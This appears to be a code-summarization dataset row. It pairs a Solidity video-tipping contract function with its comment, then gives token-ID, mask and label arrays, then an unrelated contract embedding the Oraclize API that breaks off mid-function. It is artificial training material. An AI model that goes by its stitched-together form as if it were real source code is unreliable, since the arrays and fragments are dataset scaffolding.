= videosByName[videoInfo[hash].name].array[len-1]; } delete videosByName[videoInfo[hash].name].array[len-1]; videosByName[videoInfo[hash].name].array.length--; videosByName[videoInfo[hash].name].index[hash] = 0; // delete from videosByUploader. index = videosByUploader[videoInfo[hash].uploader].index[hash] - 1; len = videosByUploader[videoInfo[hash].uploader].array.length; if (index != len-1) { videosByUploader[videoInfo[hash].uploader].index[videosByUploader[videoInfo[hash].uploader].array[len-1]] = index+1; videosByUploader[videoInfo[hash].uploader].array[index] = videosByUploader[videoInfo[hash].uploader].array[len-1]; } delete videosByUploader[videoInfo[hash].uploader].array[len-1]; videosByUploader[videoInfo[hash].uploader].array.length--; videosByUploader[videoInfo[hash].uploader].index[hash] = 0; // delete from videosInfo. // delete thumbs map. for (i=0; i<videoInfo[hash].thumbs.thumbsUpByWhom.length; i++) { delete videoInfo[hash].thumbs.thumbsUpIndex[videoInfo[hash].thumbs.thumbsUpByWhom[i]]; } for (i=0; i<videoInfo[hash].thumbs.thumbsDownByWhom.length; i++) { delete videoInfo[hash].thumbs.thumbsDownIndex[videoInfo[hash].thumbs.thumbsDownByWhom[i]]; } // delete videoInfo. delete videoInfo[hash]; // delete from allVideos and indexOfAllVideos. index = allVideos.index[hash] -1; len = allVideos.array.length; if (index != len-1) { allVideos.index[allVideos.array[len-1]] = index+1; allVideos.array[index] = allVideos.array[len-1]; } delete allVideos.array[len-1]; allVideos.array.length--; allVideos.index[hash] = 0; return true; } return false; } // get all the video hashes which names the given name. function getVideos(string s) public view returns (string[] hashesByName, string[] hashesByKeyword) { hashesByName = videosByName[s].array; hashesByKeyword = keywordIndex[s].array; } // function to get all the videos. function getAllVideos() public view returns (string[]) { return allVideos.array; } // get all the video hashes that somebody uploaded. function getUploadedVideos() public view returns (string[]) { return videosByUploader[msg.sender].array; } // get the video info by video hash. function getVideoInfo(string hash) public view returns ( string name, string cover_hash, string[] keywords, uint256 trx_reward, uint256 token_reward, uint256 thumbsUp, uint256 thumbsDown, address uploader) { name = videoInfo[hash].name; trx_reward = videoInfo[hash].trx_reward; token_reward = videoInfo[hash].token_reward; thumbsUp = videoInfo[hash].thumbs.thumbsUpByWhom.length; thumbsDown = videoInfo[hash].thumbs.thumbsDownByWhom.length; uploader = videoInfo[hash].uploader; cover_hash = videoInfo[hash].cover_hash; keywords = videoInfo[hash].keywords.array; } // thumbs up a video by video hash. function thumbsUp(string hash) public payable returns (uint256) { require(videoInfo[hash].thumbs.thumbsUpIndex[msg.sender] == 0, "you've thumbs up before"); videoInfo[hash].thumbs.thumbsUpByWhom.push(msg.sender); videoInfo[hash].thumbs.thumbsUpIndex[msg.sender] = 1; return videoInfo[hash].thumbs.thumbsUpByWhom.length; } // get the video thumbs up number by video hash. function getThumbsUp(string hash) public view returns (uint256) { return videoInfo[hash].thumbs.thumbsUpByWhom.length; } // thumbs down a video by hash. function thumbsDown(string hash) public returns (uint256){ require(videoInfo[hash].thumbs.thumbsDownIndex[msg.sender] == 0, "you've thumbs down before"); videoInfo[hash].thumbs.thumbsDownByWhom.push(msg.sender); videoInfo[hash].thumbs.thumbsDownIndex[msg.sender] = 1; return videoInfo[hash].thumbs.thumbsDownByWhom.length; } // get the video thumbs down number by video hash. function getThumbsDown(string hash) public view returns (uint256) { return videoInfo[hash].thumbs.thumbsDownByWhom.length; } // tips token to the video by hash, the token will give to by video uploader and admin in percentage. function tipToken(string hash) public payable returns (uint256) { require(msg.tokenid == tokenId, "wrong token id"); if (msg.tokenvalue > 0 ) { uint256 token_fee_amount = msg.tokenvalue * fee_percent / 100; owner.transferToken(token_fee_amount, tokenId); videoInfo[hash].uploader.transferToken(msg.tokenvalue-token_fee_amount, tokenId); videoInfo[hash].token_reward += msg.tokenvalue-token_fee_amount; } return videoInfo[hash].token_reward; } // return how much token that the video uploader get. function getTokenTips(string hash) public view returns (uint256) { return videoInfo[hash].token_reward; } // tips trx to the video by hash, the trx will give to by video uploader and admin in percentage. function tipTrx(string hash) public payable returns (uint256) { if (msg.value > 0) { uint256 fee_amount = msg.value * fee_percent / 100; owner.transfer(fee_amount); videoInfo[hash].uploader.transfer(msg.value-fee_amount); videoInfo[hash].trx_reward += msg.value-fee_amount; } return videoInfo[hash].trx_reward; } // return how much trx that the video uploader get. function getTrxTips(string hash) public view returns (uint256) { return videoInfo[hash].trx_reward; } // get which token id that tips a token require. function getTokenId() public view returns (uint256) { return tokenId; } // function to change the fee percent. function changeFeePercent(uint _percent) public onlyOwner { require(_percent >= 0 && _percent <= 100, "fee percent should between 1~100"); fee_percent = _percent; } // function to change the tokenId. function changeTokenId(uint256 _tokenId) public onlyOwner { tokenId = _tokenId; } }
get all the video hashes which names the given name.
function getVideos(string s) public view returns (string[] hashesByName, string[] hashesByKeyword) { hashesByName = videosByName[s].array; hashesByKeyword = keywordIndex[s].array; }
12,891,630
[ 1, 588, 777, 326, 6191, 9869, 1492, 1257, 326, 864, 508, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 11031, 19871, 12, 1080, 272, 13, 1071, 1476, 1135, 261, 1080, 8526, 9869, 5911, 16, 533, 8526, 9869, 858, 8736, 13, 288, 203, 3639, 9869, 5911, 273, 24752, 5911, 63, 87, 8009, 1126, 31, 203, 3639, 9869, 858, 8736, 273, 4932, 1016, 63, 87, 8009, 1126, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; /** * Copyright YHT Community. * This software is copyrighted by the YHT community. * Prohibits any unauthorized copying and modification. * It is allowed through ABI calls. */ // <ORACLIZE_API> /* Copyright (c) 2015-2016 Oraclize SRL Copyright (c) 2016 Oraclize LTD Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ // This api is currently targeted at 0.4.18, please import oraclizeAPI_pre0.4.sol or oraclizeAPI_0.4 where necessary pragma solidity >=0.4.18;// Incompatible compiler version... please select one stated within pragma solidity or use different oraclizeAPI version contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id); function getPrice(string _datasource) public returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice); function setProofType(byte _proofType) external; function setCustomGasPrice(uint _gasPrice) external; function randomDS_getSessionPubKeyHash() external constant returns(bytes32); } contract OraclizeAddrResolverI { function getAddress() public returns (address _addr); } /* Begin solidity-cborutils https://github.com/smartcontractkit/solidity-cborutils MIT License Copyright (c) 2018 SmartContract ChainLink, Ltd. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ library Buffer { struct buffer { bytes buf; uint capacity; } function init(buffer memory buf, uint _capacity) internal pure { uint capacity = _capacity; if(capacity % 32 != 0) capacity += 32 - (capacity % 32); // Allocate space for the buffer data buf.capacity = capacity; assembly { let ptr := mload(0x40) mstore(buf, ptr) mstore(ptr, 0) mstore(0x40, add(ptr, capacity)) } } function resize(buffer memory buf, uint capacity) private pure { bytes memory oldbuf = buf.buf; init(buf, capacity); append(buf, oldbuf); } function max(uint a, uint b) private pure returns(uint) { if(a > b) { return a; } return b; } /** * @dev Appends a byte array to the end of the buffer. Resizes if doing so * would exceed the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer. */ function append(buffer memory buf, bytes data) internal pure returns(buffer memory) { if(data.length + buf.buf.length > buf.capacity) { resize(buf, max(buf.capacity, data.length) * 2); } uint dest; uint src; uint len = data.length; assembly { // Memory address of the buffer data let bufptr := mload(buf) // Length of existing buffer data let buflen := mload(bufptr) // Start address = buffer address + buffer length + sizeof(buffer length) dest := add(add(bufptr, buflen), 32) // Update buffer length mstore(bufptr, add(buflen, mload(data))) src := add(data, 32) } // Copy word-length chunks while possible for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } return buf; } /** * @dev Appends a byte to the end of the buffer. Resizes if doing so would * exceed the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer. */ function append(buffer memory buf, uint8 data) internal pure { if(buf.buf.length + 1 > buf.capacity) { resize(buf, buf.capacity * 2); } assembly { // Memory address of the buffer data let bufptr := mload(buf) // Length of existing buffer data let buflen := mload(bufptr) // Address = buffer address + buffer length + sizeof(buffer length) let dest := add(add(bufptr, buflen), 32) mstore8(dest, data) // Update buffer length mstore(bufptr, add(buflen, 1)) } } /** * @dev Appends a byte to the end of the buffer. Resizes if doing so would * exceed the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer. */ function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) { if(len + buf.buf.length > buf.capacity) { resize(buf, max(buf.capacity, len) * 2); } uint mask = 256 ** len - 1; assembly { // Memory address of the buffer data let bufptr := mload(buf) // Length of existing buffer data let buflen := mload(bufptr) // Address = buffer address + buffer length + sizeof(buffer length) + len let dest := add(add(bufptr, buflen), len) mstore(dest, or(and(mload(dest), not(mask)), data)) // Update buffer length mstore(bufptr, add(buflen, len)) } return buf; } } library CBOR { using Buffer for Buffer.buffer; uint8 private constant MAJOR_TYPE_INT = 0; uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1; uint8 private constant MAJOR_TYPE_BYTES = 2; uint8 private constant MAJOR_TYPE_STRING = 3; uint8 private constant MAJOR_TYPE_ARRAY = 4; uint8 private constant MAJOR_TYPE_MAP = 5; uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7; function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure { if(value <= 23) { buf.append(uint8((major << 5) | value)); } else if(value <= 0xFF) { buf.append(uint8((major << 5) | 24)); buf.appendInt(value, 1); } else if(value <= 0xFFFF) { buf.append(uint8((major << 5) | 25)); buf.appendInt(value, 2); } else if(value <= 0xFFFFFFFF) { buf.append(uint8((major << 5) | 26)); buf.appendInt(value, 4); } else if(value <= 0xFFFFFFFFFFFFFFFF) { buf.append(uint8((major << 5) | 27)); buf.appendInt(value, 8); } } function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure { buf.append(uint8((major << 5) | 31)); } function encodeUInt(Buffer.buffer memory buf, uint value) internal pure { encodeType(buf, MAJOR_TYPE_INT, value); } function encodeInt(Buffer.buffer memory buf, int value) internal pure { if(value >= 0) { encodeType(buf, MAJOR_TYPE_INT, uint(value)); } else { encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value)); } } function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure { encodeType(buf, MAJOR_TYPE_BYTES, value.length); buf.append(value); } function encodeString(Buffer.buffer memory buf, string value) internal pure { encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length); buf.append(bytes(value)); } function startArray(Buffer.buffer memory buf) internal pure { encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY); } function startMap(Buffer.buffer memory buf) internal pure { encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP); } function endSequence(Buffer.buffer memory buf) internal pure { encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE); } } /* End solidity-cborutils */ contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Ledger = 0x30; byte constant proofType_Android = 0x40; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto); if(address(oraclize) != OAR.getAddress()) oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ return oraclize_setNetwork(); networkID; // silence the warning and remain backwards compatible } function oraclize_setNetwork() internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName("eth_mainnet"); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); oraclize_setNetworkName("eth_ropsten3"); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName("eth_kovan"); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName("eth_rinkeby"); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) public { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) public { return; myid; result; proof; // Silence compiler warnings } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new 